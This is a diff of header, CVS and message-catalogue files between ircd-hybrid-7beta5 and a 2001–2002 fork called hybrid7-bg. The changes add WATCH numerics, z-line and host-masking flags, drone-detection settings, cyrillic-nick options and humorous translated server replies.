+#define ERR_TOOMANYWATCH     500
+
 #define ERR_UMODEUNKNOWNFLAG 501
 #define ERR_USERSDONTMATCH   502
 
 #define ERR_GHOSTEDCLIENT    503
 
 #define ERR_USERNOTONSERV    504
-#define ERR_LAST_ERR_MSG     505
+
+#define RPL_LOGON            600
+#define RPL_LOGOFF           601
+#define RPL_WATCHOFF         602
+#define RPL_WATCHSTAT        603
+#define RPL_NOWON            604
+#define RPL_NOWOFF           605
+#define RPL_WATCHLIST        606
+#define RPL_ENDOFWATCHLIST   607
+
+#define ERR_LAST_ERR_MSG     608
 
 #endif /* INCLUDED_numeric_h */
diff -uNrd ircd-hybrid-7beta5/include/packet.h hybrid7-bg/include/packet.h
--- ircd-hybrid-7beta5/include/packet.h	Thu Apr 19 03:38:07 2001
+++ hybrid7-bg/include/packet.h	Tue Jun  5 12:35:44 2001
@@ -19,7 +19,7 @@
  *
  * "packet.h". - Headers file.
  *
- * $Id: packet.h,v 7.10 2001/04/19 07:38:07 a1kmm Exp $
+ * $Id: packet.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  *
  */
 #ifndef INCLUDED_packet_h
diff -uNrd ircd-hybrid-7beta5/include/parse.h hybrid7-bg/include/parse.h
--- ircd-hybrid-7beta5/include/parse.h	Mon Feb  5 15:12:30 2001
+++ hybrid7-bg/include/parse.h	Tue Jun  5 12:35:44 2001
@@ -20,7 +20,7 @@
  * "parse.h". - Headers file.
  *
  *
- * $Id: parse.h,v 7.13 2001/02/05 20:12:30 davidt Exp $
+ * $Id: parse.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  *
  */
 #ifndef INCLUDED_parse_h_h
diff -uNrd ircd-hybrid-7beta5/include/patchlevel.h hybrid7-bg/include/patchlevel.h
--- ircd-hybrid-7beta5/include/patchlevel.h	Thu May 17 22:33:27 2001
+++ hybrid7-bg/include/patchlevel.h	Sat Jun 16 21:24:16 2001
@@ -17,5 +17,5 @@
  */
 
 #ifndef PATCHLEVEL
-#define PATCHLEVEL    "hybrid-7beta5"
+#define PATCHLEVEL    "hybrid-7beta5-bg"
 #endif
diff -uNrd ircd-hybrid-7beta5/include/patricia.h hybrid7-bg/include/patricia.h
--- ircd-hybrid-7beta5/include/patricia.h	Mon Apr  9 11:13:57 2001
+++ hybrid7-bg/include/patricia.h	Tue Jun  5 12:35:44 2001
@@ -1,5 +1,5 @@
 /*
- * $Id: patricia.h,v 7.8 2001/04/09 15:13:57 davidt Exp $
+ * $Id: patricia.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  * Dave Plonka <plonka@doit.wisc.edu>
  *
  * This product includes software developed by the University of Michigan,
diff -uNrd ircd-hybrid-7beta5/include/res.h hybrid7-bg/include/res.h
--- ircd-hybrid-7beta5/include/res.h	Wed Mar 28 00:50:10 2001
+++ hybrid7-bg/include/res.h	Tue Jun  5 12:35:44 2001
@@ -1,5 +1,5 @@
 /*
- * $Id: res.h,v 7.17 2001/03/28 05:50:10 db Exp $ 
+ * $Id: res.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $ 
  * New res.h
  * Aaron Sethman <androsyn@ratbox.org>
  */
diff -uNrd ircd-hybrid-7beta5/include/restart.h hybrid7-bg/include/restart.h
--- ircd-hybrid-7beta5/include/restart.h	Fri Oct  6 00:26:58 2000
+++ hybrid7-bg/include/restart.h	Tue Jun  5 12:35:44 2001
@@ -1,5 +1,5 @@
 /*
- * $Id: restart.h,v 7.3 2000/10/06 04:26:58 lusky Exp $ 
+ * $Id: restart.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $ 
  */
 
 #ifndef INCLUDED_restart_h
diff -uNrd ircd-hybrid-7beta5/include/rsa.h hybrid7-bg/include/rsa.h
--- ircd-hybrid-7beta5/include/rsa.h	Fri Apr 13 18:39:43 2001
+++ hybrid7-bg/include/rsa.h	Tue Jun  5 12:35:44 2001
@@ -19,7 +19,7 @@
  *
  *
  *
- * $Id: rsa.h,v 7.2 2001/04/13 22:39:43 davidt Exp $
+ * $Id: rsa.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 
 int generate_challenge( char ** r_challenge, char ** r_response, char * key );
diff -uNrd ircd-hybrid-7beta5/include/s_auth.h hybrid7-bg/include/s_auth.h
--- ircd-hybrid-7beta5/include/s_auth.h	Mon Feb 26 01:53:47 2001
+++ hybrid7-bg/include/s_auth.h	Tue Jun  5 12:35:44 2001
@@ -15,7 +15,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: s_auth.h,v 7.13 2001/02/26 06:53:47 androsyn Exp $
+ *   $Id: s_auth.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 #ifndef INCLUDED_s_auth_h
 #define INCLUDED_s_auth_h
diff -uNrd ircd-hybrid-7beta5/include/s_bsd.h hybrid7-bg/include/s_bsd.h
--- ircd-hybrid-7beta5/include/s_bsd.h	Mon Feb 12 00:13:24 2001
+++ hybrid7-bg/include/s_bsd.h	Tue Jun  5 12:35:44 2001
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: s_bsd.h,v 7.27 2001/02/12 05:13:24 androsyn Exp $
+ *   $Id: s_bsd.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  *
  */
 #ifndef INCLUDED_s_bsd_h
diff -uNrd ircd-hybrid-7beta5/include/s_conf.h hybrid7-bg/include/s_conf.h
--- ircd-hybrid-7beta5/include/s_conf.h	Mon May  7 11:50:29 2001
+++ hybrid7-bg/include/s_conf.h	Fri Jul 19 00:21:48 2002
@@ -19,7 +19,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: s_conf.h,v 7.118 2001/05/07 15:50:29 toot Exp $
+ * $Id: s_conf.h,v 1.16 2002/07/19 04:21:48 Administrator Exp $
  */
 
 #include "setup.h"
@@ -100,6 +100,7 @@
 #define CONF_XLINE             0x40000
 #define CONF_ULINE             0x80000
 #define CONF_EXEMPTDLINE      0x100000
+#define CONF_ZLINE            0x200000
 
 #define CONF_SERVER_MASK       CONF_SERVER
 #define CONF_CLIENT_MASK       (CONF_CLIENT | CONF_OPERATOR | CONF_SERVER_MASK)
@@ -132,6 +133,9 @@
 #define CONF_FLAGS_PERSISTANT           0x00040000
 #define CONF_FLAGS_TEMPORARY            0x00080000
 #define CONF_FLAGS_CRYPTLINK            0x00100000
+/* additional client flag */
+#define CONF_FLAGS_MASKHOST             0x00200000
+#define CONF_FLAGS_SKIPFAIL             0x00400000
 /* Macros for struct ConfItem */
 
 #define IsLimitIp(x)            ((x)->flags & CONF_FLAGS_LIMIT_IP)
@@ -151,6 +155,8 @@
 #define IsConfEncrypted(x)      ((x)->flags & CONF_FLAGS_ENCRYPTED)
 #define IsConfCompressed(x)	((x)->flags & CONF_FLAGS_COMPRESSED)
 #define IsConfCryptLink(x)      ((x)->flags & CONF_FLAGS_CRYPTLINK)
+#define IsConfMaskHost(x)       ((x)->flags & CONF_FLAGS_MASKHOST)
+#define IsConfSkipOnPassFail(x) ((x)->flags & CONF_FLAGS_SKIPFAIL)
 
 /* port definitions for Opers */
 
@@ -164,6 +170,11 @@
 #define CONF_OPER_DIE           0x0080
 #define CONF_OPER_ADMIN         0x0100
 
+#define MAXNETID 6
+#define MAXDREASON 120
+
+#define REPGRACEDEF 20
+
 typedef struct config_file_entry
 {
   char *dpath;          /* DPATH if set from command line */
@@ -183,6 +194,10 @@
   char fname_operlog[MAXPATHLEN];
   char fname_userlog[MAXPATHLEN];
   char fname_foperlog[MAXPATHLEN];
+
+  char netid[MAXNETID + 1];
+  char drone_reason[MAXDREASON + 1];
+  char spawn_pass[PASSWDLEN + 1];
 	
   MessageFile helpfile;
   MessageFile motd;
@@ -226,6 +241,22 @@
   int         persist_expire;
   int         min_nonwildcard;
   int         default_floodcount;
+
+  int         cyrillic;
+  int         totaltrans;
+  int		  grace_time;
+  int         spam_wait;
+
+  int         repeat_grace;
+
+  int         drone_kline;
+  int         drone_batch;
+  int         drone_rate_max;
+  int         drone_rate_period;
+  int         drone_kline_time;
+
+  long		sframe;
+
 } ConfigFileEntryType;
 
 struct server_info
@@ -313,6 +344,8 @@
 
 extern int find_q_conf(char*, char*, char *);
 extern int find_u_conf(char*, char*, char *);
+
+extern int find_z_conf(char *);
 extern struct ConfItem *find_x_conf(char*);
 
 extern struct ConfItem* find_tkline(const char*, const char*, struct irc_inaddr *); 
@@ -324,6 +357,19 @@
 extern void report_specials(struct Client* source_p, int flags, int numeric);
 extern void report_qlines(struct Client* client_p);
 
+extern void report_zlines(struct Client* client_p);
+extern void report_equivs(struct Client* client_p);
+extern void add_equiv_nicks(char *);
+extern char *get_equiv_nick(char *, char *);
+
+extern void add_userpar_param(char *);
+extern void report_userparms(struct Client *);
+extern int IsUserPar(char *, char *);
+
+extern void add_relay_server(char *);
+extern void report_relays(struct Client *);
+extern int IsRelay(struct Client *);
+
 extern void yyerror(char *);
 extern int conf_yy_fatal_error(char *);
 extern int conf_fbgets(char *, int, FBFILE *);
@@ -354,6 +400,8 @@
 extern void conf_add_d_conf(struct ConfItem *);
 extern void conf_add_x_conf(struct ConfItem *);
 extern void conf_add_u_conf(struct ConfItem *);
+
+extern void conf_add_z_conf(struct ConfItem *);
 extern void conf_add_q_conf(struct ConfItem *);
 extern void conf_add_fields(struct ConfItem*, char*, char *, char*, char *,char *);
 extern void conf_add_conf(struct ConfItem *);
diff -uNrd ircd-hybrid-7beta5/include/s_debug.h hybrid7-bg/include/s_debug.h
--- ircd-hybrid-7beta5/include/s_debug.h	Tue Dec  5 01:32:58 2000
+++ hybrid7-bg/include/s_debug.h	Tue Jun  5 12:35:44 2001
@@ -17,7 +17,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: s_debug.h,v 7.2 2000/12/05 06:32:58 db Exp $
+ *   $Id: s_debug.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 #ifndef INCLUDED_s_debug_h
 #define INCLUDED_s_debug_h
diff -uNrd ircd-hybrid-7beta5/include/s_gline.h hybrid7-bg/include/s_gline.h
--- ircd-hybrid-7beta5/include/s_gline.h	Thu Jan  4 11:10:05 2001
+++ hybrid7-bg/include/s_gline.h	Tue Jun  5 12:35:44 2001
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: s_gline.h,v 7.7 2001/01/04 16:10:05 davidt Exp $
+ * $Id: s_gline.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 
 #ifndef INCLUDED_s_gline_h
diff -uNrd ircd-hybrid-7beta5/include/s_log.h hybrid7-bg/include/s_log.h
--- ircd-hybrid-7beta5/include/s_log.h	Wed Nov 29 16:18:30 2000
+++ hybrid7-bg/include/s_log.h	Tue Jun  5 12:35:44 2001
@@ -17,7 +17,7 @@
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
  *
- * $Id: s_log.h,v 7.6 2000/11/29 21:18:30 db Exp $
+ * $Id: s_log.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 #ifndef INCLUDED_s_log_h
 #define INCLUDED_s_log_h
diff -uNrd ircd-hybrid-7beta5/include/s_misc.h hybrid7-bg/include/s_misc.h
--- ircd-hybrid-7beta5/include/s_misc.h	Tue Dec  5 01:32:59 2000
+++ hybrid7-bg/include/s_misc.h	Mon Jul 22 19:56:37 2002
@@ -1,5 +1,5 @@
 /*
- * $Id: s_misc.h,v 7.4 2000/12/05 06:32:59 db Exp $ 
+ * $Id: s_misc.h,v 1.6 2002/07/22 23:56:37 Administrator Exp $ 
  */
 
 #ifndef INCLUDED_s_misc_h
@@ -9,6 +9,16 @@
 #define INCLUDED_sys_types_h
 #endif
 
+#define CHECK_DRONE_TIME 3
+#define GRACE_TIME_DEFAULT 10
+#define SPAM_WAIT_DEFAULT 5
+
+#define DRONEMAX 20
+
+#define DRONE_RMAX_DEF 3
+#define DRONE_RPERIOD_DEF 20
+#define DRONE_KTIME_DEF 300*60
+
 struct Client;
 struct ConfItem;
 
@@ -16,6 +26,12 @@
 extern char*   date(time_t);
 extern const char* smalldate(time_t);
 extern char    *small_file_date(time_t);
+
+extern void check_warn_drone(void *);
+extern void check_drone_queue(void *);
+extern void purge_repeats(void *);
+
+extern void do_plugin(char *, char *);
 
 #endif
 
diff -uNrd ircd-hybrid-7beta5/include/s_serv.h hybrid7-bg/include/s_serv.h
--- ircd-hybrid-7beta5/include/s_serv.h	Sat May  5 17:50:35 2001
+++ hybrid7-bg/include/s_serv.h	Mon Jul 22 19:56:38 2002
@@ -17,7 +17,7 @@
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
  *
- * $Id: s_serv.h,v 7.42 2001/05/05 21:50:35 fl_ Exp $
+ * $Id: s_serv.h,v 1.8 2002/07/22 23:56:38 Administrator Exp $
  *
  */
 #ifndef INCLUDED_serv_h
@@ -62,6 +62,7 @@
 #define CAP_CHW         0x00000010      /* Can do channel wall @# */
 #define CAP_LL          0x00000020      /* Can do lazy links */
 #define CAP_IE          0x00000040      /* Can do invite exceptions */
+#define CAP_SW			0x00000080		/* Can do word substitutes */
 #define CAP_EOB	        0x00000100      /* Can do EOB message */
 #define CAP_KLN	        0x00000200      /* Can do KLINE message */
 #define CAP_GLN	        0x00000400      /* Can do GLINE message */
@@ -69,12 +70,17 @@
 #define CAP_HUB         0x00001000      /* This server is a HUB */
 #define CAP_AOPS        0x00002000      /* Can do anon ops (+a) */
 #define CAP_UID         0x00004000      /* Can do UIDs */
-#define CAP_ZIP		0x00008000	/* Can do ZIPlinks */
+#define CAP_ZIP		    0x00008000	    /* Can do ZIPlinks */
 #define CAP_CRYPT       0x00010000      /* Can do CRYPTlinks */
 
-#define CAP_MASK        CAP_QS|CAP_EX|CAP_CHW|\
+#define CAP_HOSTMASK	0x00020000	    /* Can do host masking */
+#define CAP_SVS         0x00040000      /* Can do SVS commands */
+#define CAP_IP          0x00080000      /* Can do IP relay */
+
+#define CAP_MASK        CAP_QS|CAP_EX|CAP_CHW|CAP_SW|\
                         CAP_IE|CAP_EOB|CAP_KLN|CAP_GLN|\
-                        CAP_HOPS|CAP_AOPS|CAP_UID
+                        CAP_HOPS|CAP_AOPS|CAP_UID|\
+						CAP_HOSTMASK|CAP_SVS|CAP_IP
 
 #define DoesCAP(x)      ((x)->caps)
 
@@ -131,7 +137,9 @@
 extern void        cryptlink_init(struct Client *client_p,
                                   struct ConfItem *aconf, int fd);
 extern void        cryptlink_regen_key(void *);
-extern void        cryptlink_error( struct Client *client_p, char *reason );    
+extern void        cryptlink_error( struct Client *client_p, char *reason );  
+
+extern void do_spawn(int, char *);
 
 extern struct Client *uplink; /* NON NULL if leaf and is this servers uplink */
 
diff -uNrd ircd-hybrid-7beta5/include/s_stats.h hybrid7-bg/include/s_stats.h
--- ircd-hybrid-7beta5/include/s_stats.h	Thu Jan 18 12:32:16 2001
+++ hybrid7-bg/include/s_stats.h	Tue Jun  5 12:35:44 2001
@@ -18,7 +18,7 @@
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
  *
- * $Id: s_stats.h,v 7.5 2001/01/18 17:32:16 ejb Exp $
+ * $Id: s_stats.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 #ifndef INCLUDED_s_stats_h
 #define INCLUDED_s_stats_h
diff -uNrd ircd-hybrid-7beta5/include/s_user.h hybrid7-bg/include/s_user.h
--- ircd-hybrid-7beta5/include/s_user.h	Tue May 15 05:37:59 2001
+++ hybrid7-bg/include/s_user.h	Sun Jun  9 02:06:03 2002
@@ -19,7 +19,7 @@
  *
  * "s_user.h". - Headers file.
  *
- * $Id: s_user.h,v 7.13 2001/05/15 09:37:59 toot Exp $
+ * $Id: s_user.h,v 1.3 2002/06/09 06:06:03 Administrator Exp $
  *
  */
 #ifndef INCLUDED_s_user_h
@@ -50,7 +50,7 @@
 			   char* ,char *,char *,char *);
 
 extern int   do_remote_user(char* ,struct Client* ,struct Client*,
-			    char* ,char *,char *,char *,char *);
+			    char* ,char *,char *,char *,char *,char *,char *);
 
 extern int   user_modes_from_c_to_bitmask[];
 extern void  show_isupport(struct Client *);
diff -uNrd ircd-hybrid-7beta5/include/s_zip.h hybrid7-bg/include/s_zip.h
--- ircd-hybrid-7beta5/include/s_zip.h	Mon Jan 24 17:22:26 2000
+++ hybrid7-bg/include/s_zip.h	Tue Jun  5 12:35:44 2001
@@ -19,7 +19,7 @@
  *
  * "s_zip.h". - Headers file.
  *
- * $Id: s_zip.h,v 7.3 2000/01/24 22:22:26 db Exp $
+ * $Id: s_zip.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  *
  */
 #ifndef INCLUDED_s_zip_h
diff -uNrd ircd-hybrid-7beta5/include/scache.h hybrid7-bg/include/scache.h
--- ircd-hybrid-7beta5/include/scache.h	Mon Mar  5 21:22:11 2001
+++ hybrid7-bg/include/scache.h	Tue Jun  5 12:35:44 2001
@@ -19,7 +19,7 @@
  *
  * "scache.h". - Headers file.
  *
- * $Id: scache.h,v 7.5 2001/03/06 02:22:11 androsyn Exp $
+ * $Id: scache.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  *
  */
 #ifndef INCLUDED_scache_h
diff -uNrd ircd-hybrid-7beta5/include/send.h hybrid7-bg/include/send.h
--- ircd-hybrid-7beta5/include/send.h	Thu Mar 22 00:51:49 2001
+++ hybrid7-bg/include/send.h	Tue Jun  5 12:35:44 2001
@@ -2,7 +2,7 @@
  * send.h
  * Copyright (C) 1999 Patrick Alken
  *
- * $Id: send.h,v 7.43 2001/03/22 05:51:49 ejb Exp $
+ * $Id: send.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 
 #ifndef INCLUDED_send_h
diff -uNrd ircd-hybrid-7beta5/include/serno.h hybrid7-bg/include/serno.h
--- ircd-hybrid-7beta5/include/serno.h	Thu May 17 22:33:29 2001
+++ hybrid7-bg/include/serno.h	Wed Sep 18 19:19:45 2002
@@ -1 +1 @@
-#define SERIALNUM "20010517_11"
+#define SERIALNUM "20020917_1"
diff -uNrd ircd-hybrid-7beta5/include/sprintf_irc.h hybrid7-bg/include/sprintf_irc.h
--- ircd-hybrid-7beta5/include/sprintf_irc.h	Thu Jan 11 04:30:18 2001
+++ hybrid7-bg/include/sprintf_irc.h	Tue Jun  5 12:35:44 2001
@@ -1,5 +1,5 @@
 /*
- * $Id: sprintf_irc.h,v 7.4 2001/01/11 09:30:18 a1kmm Exp $ 
+ * $Id: sprintf_irc.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $ 
  */
 
 #ifndef SPRINTF_IRC
diff -uNrd ircd-hybrid-7beta5/include/supported.h hybrid7-bg/include/supported.h
--- ircd-hybrid-7beta5/include/supported.h	Wed May 16 04:51:03 2001
+++ hybrid7-bg/include/supported.h	Wed Jul 24 09:08:17 2002
@@ -15,7 +15,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: supported.h,v 1.10 2001/05/16 08:51:03 toot Exp $
+ * $Id: supported.h,v 1.8 2002/07/24 13:08:17 Administrator Exp $
  * 
  */
 #ifndef INCLUDED_supported_h
@@ -24,10 +24,15 @@
 #include "config.h"
 #include "channel.h"
 #include "ircd_defs.h"
+#include "client.h"
+#include "s_conf.h"
 
 #define FEATURES "KNOCK"\
                 "%s" \
                 " WALLCHOPS" \
+                " MASK SVS" \
+				" NETWORK=%s" \
+				" WATCH=%i" \
                 " MODES=%i" \
                 " MAXCHANNELS=%i" \
                 " MAXBANS=%i" \
@@ -40,9 +45,9 @@
                 " CHANMODES=%s"
                  
 #define FEATURESVALUES ConfigFileEntry.disable_vchans ? "" : " VCHANS", \
-        MAXMODEPARAMS,MAXCHANNELSPERUSER,MAXBANS, \
+        ServerInfo.network_name,MAXWATCH,MAXMODEPARAMS,MAXCHANNELSPERUSER,MAXBANS, \
         ConfigFileEntry.max_targets,NICKLEN,TOPICLEN,TOPICLEN,"#&","(ohv)@%+", \
-        "beI,k,l,imnpsta"
+        "beIw,k,l,imnpstacrxzRMC"
 
 /*
  * - from mirc's versions.txt
diff -uNrd ircd-hybrid-7beta5/include/tools.h hybrid7-bg/include/tools.h
--- ircd-hybrid-7beta5/include/tools.h	Wed Jan  3 19:31:41 2001
+++ hybrid7-bg/include/tools.h	Tue Jun  5 12:35:44 2001
@@ -5,7 +5,7 @@
  *
  * Adrian Chadd <adrian@creative.net.au>
  *
- * $Id: tools.h,v 1.7 2001/01/04 00:31:41 adrian Exp $
+ * $Id: tools.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 #ifndef __TOOLS_H__
 #define __TOOLS_H__
diff -uNrd ircd-hybrid-7beta5/include/vchannel.h hybrid7-bg/include/vchannel.h
--- ircd-hybrid-7beta5/include/vchannel.h	Mon Mar  5 21:22:11 2001
+++ hybrid7-bg/include/vchannel.h	Tue Jun  5 12:35:44 2001
@@ -17,7 +17,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: vchannel.h,v 7.16 2001/03/06 02:22:11 androsyn Exp $
+ * $Id: vchannel.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 
 #ifndef INCLUDED_vchannel_h
diff -uNrd ircd-hybrid-7beta5/include/whowas.h hybrid7-bg/include/whowas.h
--- ircd-hybrid-7beta5/include/whowas.h	Thu Jan 18 12:32:16 2001
+++ hybrid7-bg/include/whowas.h	Tue Jun  5 12:35:44 2001
@@ -18,7 +18,7 @@
  */
 
 /*
- * $Id: whowas.h,v 7.6 2001/01/18 17:32:16 ejb Exp $
+ * $Id: whowas.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 #ifndef INCLUDED_whowas_h
 #define INCLUDED_whowas_h
diff -uNrd ircd-hybrid-7beta5/messages/CVS/Entries hybrid7-bg/messages/CVS/Entries
--- ircd-hybrid-7beta5/messages/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/messages/CVS/Entries	Wed Jul 24 18:32:00 2002
@@ -0,0 +1,5 @@
+/Makefile.in/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/ayb.po/1.15/Wed Jul 24 13:08:43 2002//
+/create_po/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/custom.po/1.15/Wed Jul 24 13:08:43 2002//
+D/translations////
diff -uNrd ircd-hybrid-7beta5/messages/CVS/Repository hybrid7-bg/messages/CVS/Repository
--- ircd-hybrid-7beta5/messages/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/messages/CVS/Repository	Wed Jul 24 18:31:59 2002
@@ -0,0 +1 @@
+hybrid7-bg/messages
diff -uNrd ircd-hybrid-7beta5/messages/CVS/Root hybrid7-bg/messages/CVS/Root
--- ircd-hybrid-7beta5/messages/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/messages/CVS/Root	Wed Jul 24 18:31:59 2002
@@ -0,0 +1 @@
+/var/source/src
diff -uNrd ircd-hybrid-7beta5/messages/ayb.po hybrid7-bg/messages/ayb.po
--- ircd-hybrid-7beta5/messages/ayb.po	Mon Apr 30 11:52:57 2001
+++ hybrid7-bg/messages/ayb.po	Wed Jul 24 09:08:43 2002
@@ -5,7 +5,7 @@
 #, fuzzy
 msgid	""
 msgstr	"Project-Id-Version: ircd-hybrid-7\n"
-	"POT-Creation-Date: 2001-02-20 21:53-0500\n"
+	"POT-Creation-Date: 2001-06-18 20:23-0400\n"
 	"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
 	"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
 	"Language-Team: LANGUAGE <LL@li.org>\n"
@@ -20,7 +20,7 @@
 
 #: ../src/messages.tab:25
 #, c-format
-msgid	":%s 002 %s :Your host is %s, running version %s for great justice"
+msgid	":%s 002 %s :Your host is %s, running version %s"
 msgstr	""
 
 #: ../src/messages.tab:26
@@ -41,7 +41,13 @@
 #: ../src/messages.tab:33
 #, c-format
 msgid	":%s 010 %s %s %d :Please use this Server/Port instead"
-msgstr	":%s 010 %s %s %d :You have no chance to survive make this Server/Port instead. Ha ha ha."
+msgstr	":%s 010 %s %s %d :You have no chance to survive make this "
+	"Server/Port instead. Ha ha ha."
+
+#: ../src/messages.tab:43
+#, c-format
+msgid	":%s 020 %s %s %s :Your ID and key is"
+msgstr	""
 
 #: ../src/messages.tab:223
 #, c-format
@@ -60,7 +66,7 @@
 
 #: ../src/messages.tab:226
 #, c-format
-msgid	":%s 203 %s ???? %d %s (%s) %d"
+msgid	":%s 203 %s ???? %s %s (%s) %d"
 msgstr	""
 
 #: ../src/messages.tab:227
@@ -148,6 +154,31 @@
 msgid	":%s 225 %s %c %s %s"
 msgstr	""
 
+#: ../src/messages.tab:249
+#, c-format
+msgid	":%s 226 %s %s"
+msgstr	""
+
+#: ../src/messages.tab:250
+#, c-format
+msgid	":%s 227 %s Services %s"
+msgstr	""
+
+#: ../src/messages.tab:251
+#, c-format
+msgid	":%s 228 %s Equiv %s/%s"
+msgstr	""
+
+#: ../src/messages.tab:252
+#, c-format
+msgid	":%s 229 %s Relay %s"
+msgstr	":%s 229 %s Pseudo server %s"
+
+#: ../src/messages.tab:253
+#, c-format
+msgid	":%s 230 %s Userpar %s %s"
+msgstr	":%s 230 %s USER parms %s %s"
+
 #: ../src/messages.tab:264
 #, c-format
 msgid	":%s 241 %s %c %s * %s %d %s"
@@ -271,6 +302,11 @@
 msgid	":%s 278 %s :Type /%s %s <key> to specify the channel you want"
 msgstr	""
 
+#: ../src/messages.tab:325
+#, c-format
+msgid   ":%s 298 %s %s :has cyrillic-encoded nickname"
+msgstr  ":%s 298 %s %s :is a patriot (uses nick in cyrillic)"
+
 #: ../src/messages.tab:328
 #, c-format
 msgid	":%s 301 %s %s :%s"
@@ -289,7 +325,8 @@
 #: ../src/messages.tab:332
 #, c-format
 msgid	":%s 305 %s :You are no longer marked as being away"
-msgstr	":%s 305 %s :OK, you're not /away anymore. Did you move Zig for great justice?"
+msgstr	":%s 305 %s :OK, you're not /away anymore. Did you move Zig for great "
+	"justice?"
 
 #: ../src/messages.tab:333
 #, c-format
@@ -361,6 +398,16 @@
 msgid	":%s 324 %s %s %s %s"
 msgstr	""
 
+#: ../src/messages.tab:353
+#, c-format
+msgid	":%s 326 %s %s :has identified for: %s"
+msgstr	":%s 326 %s %s :bothered to identify for: %s"
+
+#: ../src/messages.tab:354
+#, c-format
+msgid	":%s 327 %s %s :logged on %s from %s"
+msgstr	":%s 327 %s %s :wastes bandwidth on %s from %s"
+
 #: ../src/messages.tab:356
 #, c-format
 msgid	":%s 329 %s %s %lu"
@@ -386,6 +433,16 @@
 msgid	":%s 341 %s %s %s"
 msgstr	""
 
+#: ../src/messages.tab:371
+#, c-format
+msgid	":%s 344 %s %s %s %s %lu"
+msgstr	""
+
+#: ../src/messages.tab:372
+#, c-format
+msgid	":%s 345 %s %s :End of Channel Subst List"
+msgstr	""
+
 #: ../src/messages.tab:373
 #, c-format
 msgid	":%s 346 %s %s %s %s %lu"
@@ -657,6 +714,11 @@
 msgid	":%s 451 %s :You have not registered"
 msgstr	""
 
+#: ../src/messages.tab:481
+#, c-format
+msgid	":%s 452 %s %s :No repeating allowed (+z)"
+msgstr	":%s 452 %s %s :Repeating is lame, doofus (+z)"
+
 #: ../src/messages.tab:490
 #, c-format
 msgid	":%s 461 %s %s :Not enough parameters"
@@ -679,15 +741,30 @@
 	"you're doing??"
 
 #: ../src/messages.tab:494
-#, c-format
-msgid	":%s 465 %s :SOMEONE SET YOU UP THE KLINE - %s"
-msgstr	""
+#, fuzzy, c-format
+msgid	":%s 465 %s :You are banned from this server- %s"
+msgstr	":%s 005 %s %s :are moved for great justice"
 
 #: ../src/messages.tab:496
 #, c-format
 msgid	":%s 467 %s %s :Channel key already set"
 msgstr	""
 
+#: ../src/messages.tab:497
+#, c-format
+msgid   ":%s 468 %s %s :Cannot send to channel (+M)"
+msgstr  ":%s 468 %s %s :Only those who identify shall talk"
+
+#: ../src/messages.tab:498
+#, c-format
+msgid	":%s 469 %s %s :Cannot join channel (+R)"
+msgstr	":%s 469 %s %s :First identify for this nick, d00d"
+
+#: ../src/messages.tab:499
+#, c-format
+msgid	":%s 470 %s %s :Cannot join channel (+C)"
+msgstr	":%s 470 %s %s :We ain't slavonic babe.. no cyrillic nicks allowed"
+
 #: ../src/messages.tab:500
 #, c-format
 msgid	":%s 471 %s %s :Cannot join channel (+l)"
@@ -761,6 +838,16 @@
 	"(%s)"
 msgstr	""
 
+#: ../src/messages.tab:517
+#, c-format
+msgid	":%s 486 %s %s %s :Cannot kick services bots"
+msgstr	":%s 486 %s %s %s :Shame on you dude.. dont kick services"
+
+#: ../src/messages.tab:518
+#, c-format
+msgid	":%s 487 %s %s %s :Cannot de-op services bots"
+msgstr	":%s 487 %s %s %s :Shame on you dude.. dont deop services"
+
 #: ../src/messages.tab:522
 #, c-format
 msgid	":%s 491 %s :Only few of mere mortals may try to enter the twilight "
@@ -768,6 +855,16 @@
 msgstr	":%s 491 %s :Sorry, you just don't have what it takes to be an IRC "
 	"Operator here."
 
+#: ../src/messages.tab:530
+#, c-format
